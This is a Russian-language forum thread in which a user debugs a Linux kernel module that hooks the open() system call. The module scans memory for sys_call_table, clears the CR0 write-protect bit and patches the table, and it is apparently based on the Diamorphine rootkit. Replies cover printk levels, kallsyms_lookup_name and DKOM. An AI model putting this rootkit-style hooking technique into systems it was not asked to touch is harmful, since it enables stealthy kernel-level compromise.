LINUX.ORG.RU

Перехват системных вызовов в модуле ядра [Ubuntu]

 , ,


0

3

Добрый вечер!

Хочу перехватить вызов open() — для тестирования при каждом открытии файла пользователем в dmesg должно выводиться сообщение «OPEN IS!».

Адреса syscall и open в dmesg выводятся нормально, а вот сообщение «OPEN IS!» не видно. Ядро 4.18

Хотелось бы узнать, в чем проблема.

#include <linux/sched.h>
#include <linux/module.h>
#include <linux/syscalls.h>
#include <linux/dirent.h>
#include <linux/slab.h>
#include <linux/version.h> 
#include <linux/proc_ns.h>
#include <linux/fdtable.h>

unsigned long cr0;
static unsigned long *__sys_call_table;

typedef asmlinkage int (*orig_open_t)(const char *, int, int);

orig_open_t orig_open;

unsigned long *
get_syscall_table_bf(void)
{
	unsigned long *syscall_table;
	unsigned long int i;

	for (i = (unsigned long int)ksys_close; i < ULONG_MAX;
			i += sizeof(void *)) {
		syscall_table = (unsigned long *)i;

		if (syscall_table[__NR_close] == (unsigned long)ksys_close){
printk(KERN_INFO "syscall: %08lx\n", syscall_table);
			return syscall_table;
}
	}
	return NULL;
}

asmlinkage int
hacked_open(const char *filename, int flags, int mode)
{
printk(KERN_INFO "OPEN IS!\n");
	return 0;
}

static inline void
protect_memory(void)
{
	write_cr0(cr0);
}

static inline void
unprotect_memory(void)
{
	write_cr0(cr0 & ~0x00010000);
}

static int __init
diamorphine_init(void)
{
	__sys_call_table = get_syscall_table_bf();
	if (!__sys_call_table)
		return -1;

	cr0 = read_cr0();

	orig_open = (orig_open_t)__sys_call_table[__NR_open];

	unprotect_memory();
	__sys_call_table[__NR_open] = (unsigned long)hacked_open;
printk(KERN_INFO "WE DO IT!\n");
printk(KERN_INFO "hacked is: %08lx\n", hacked_open);
	protect_memory();

	return 0;
}

static void __exit
diamorphine_cleanup(void)
{
	unprotect_memory();
	__sys_call_table[__NR_open] = (unsigned long)orig_open;
	protect_memory();
}

module_init(diamorphine_init);
module_exit(diamorphine_cleanup);

MODULE_LICENSE("GPL");

printk(KERN_INFO «OPEN IS!\n»);

# echo 10 > /proc/sys/kernel/printk

Значение по умолчанию обычно warning (4), соответственно тебе нужно либо повышать уровень, либо использовать в printk другой.

После команды выше (записи в printk), в логе ядра уже будет вывод:

out-of-tree> clog
[  196.584519] OPEN IS!
[  196.585792] OPEN IS!
[  196.588538] OPEN IS!
[  198.171154] OPEN IS!
[  198.171985] OPEN IS!
[  198.694160] OPEN IS!
[  198.694996] OPEN IS!

asmlinkage int
hacked_open(const char *filename, int flags, int mode)
{
	printk(KERN_INFO "OPEN IS!\n");
	return 0;
}

Забыл про вызов оригинального обработчика sys_open. Печатать в лог он у тебя будет, но обработка системных вызовов запорота.

jollheef ★★★★★ ()
Последнее исправление: jollheef (всего исправлений: 1)
Ответ на: комментарий от DoubleMind

Как я понял, в новых ядрах не поддерживается sys_close (https://github.com/NoviceLive/research-rootkit/issues/3), потому и использовал ksys_close.

Тут дело не в поддержке — просто символ теперь больше не экспортируется, соответственно нельзя просто получить текущий адрес sys_close.

sys_close используется потому, что этот адрес будет в таблице системных вызовов — соответственно найдя этот адрес можно вычислить начало таблицы системных вызовов.

Адреса же ksys_close в таблице системных вызовов не будет.

Можешь воспользоваться kallsyms_lookup_name для поиска адреса нужного символа.

jollheef ★★★★★ ()
Ответ на: комментарий от jollheef

Внес некоторые изменения:

for (i = (unsigned long int)ksys_close; i < ULONG_MAX;
заменил на
for (i = PAGE_OFFSET; i < ULONG_MAX;
и
if (syscall_table[__NR_close] == (unsigned long)ksys_close)
заменил на
if (syscall_table[__NR_close] == (unsigned long)kallsyms_lookup_name("sys_close"))

Вероятно, что-то снова сделал не так, потому что результата нет)))0)

DoubleMind ()
Ответ на: комментарий от DoubleMind

if (syscall_table[__NR_close] == (unsigned long)kallsyms_lookup_name(«sys_close»))

Тут можно проще, если с kallsyms_lookup_name:

sys_call_table = kallsyms_lookup_name("sys_call_table");

Вероятно, что-то снова сделал не так

Хм.

$ out-of-tree pew
[*]          Ubuntu-16.04 {4.8.0-46-generic}:  BUILD SUCCESS   INSMOD SUCCESS   TEST SUCCESS
[*]          Ubuntu-16.04 {4.4.0-97-generic}:  BUILD SUCCESS   INSMOD SUCCESS   TEST SUCCESS
[*]         Ubuntu-16.04 {4.11.0-14-generic}:  BUILD SUCCESS   INSMOD SUCCESS   TEST SUCCESS
[*]         Ubuntu-16.04 {4.13.0-17-generic}:  BUILD SUCCESS   INSMOD SUCCESS   TEST SUCCESS
[*]         Ubuntu-18.04 {4.15.0-20-generic}:  BUILD SUCCESS   INSMOD SUCCESS   TEST FAILURE
[*]         Ubuntu-18.10 {4.18.0-10-generic}:  BUILD SUCCESS   INSMOD SUCCESS   TEST FAILURE
[*]         Ubuntu-18.10 {4.18.0-11-generic}:  BUILD SUCCESS   INSMOD SUCCESS   TEST FAILURE

Я не разобрался сходу почему, но обычный перехват таблицы системных вызовов на последних ядрах Ubuntu не работает, начиная с 4.15. Если найду решение (правда, пока нет на это времени) — постараюсь не забыть отписать в этот тред.

Если у тебя нет необходимости это делать через перехват таблицы системных вызовов, то советую лучше сделать через DKOM. Описаний того, как это работает — в интернете тоже достаточно.

jollheef ★★★★★ ()
Ответ на: комментарий от jollheef

Спасибо за помощь!

Системные вызовы есть в ТЗ, поэтому желательнее через них. С виртуалки попробовал этот код на другом ядре (4.12), все ожидаемо сработало.

Правда выводятся не только файлы, открытые пользователем, но и постоянно добавляются пути типа /dev, /sys и т.д. (итого получается до 30 записей в лог в секунду). Возможно, это как-то связано с уровнем доступа, буду думать дальше...

DoubleMind ()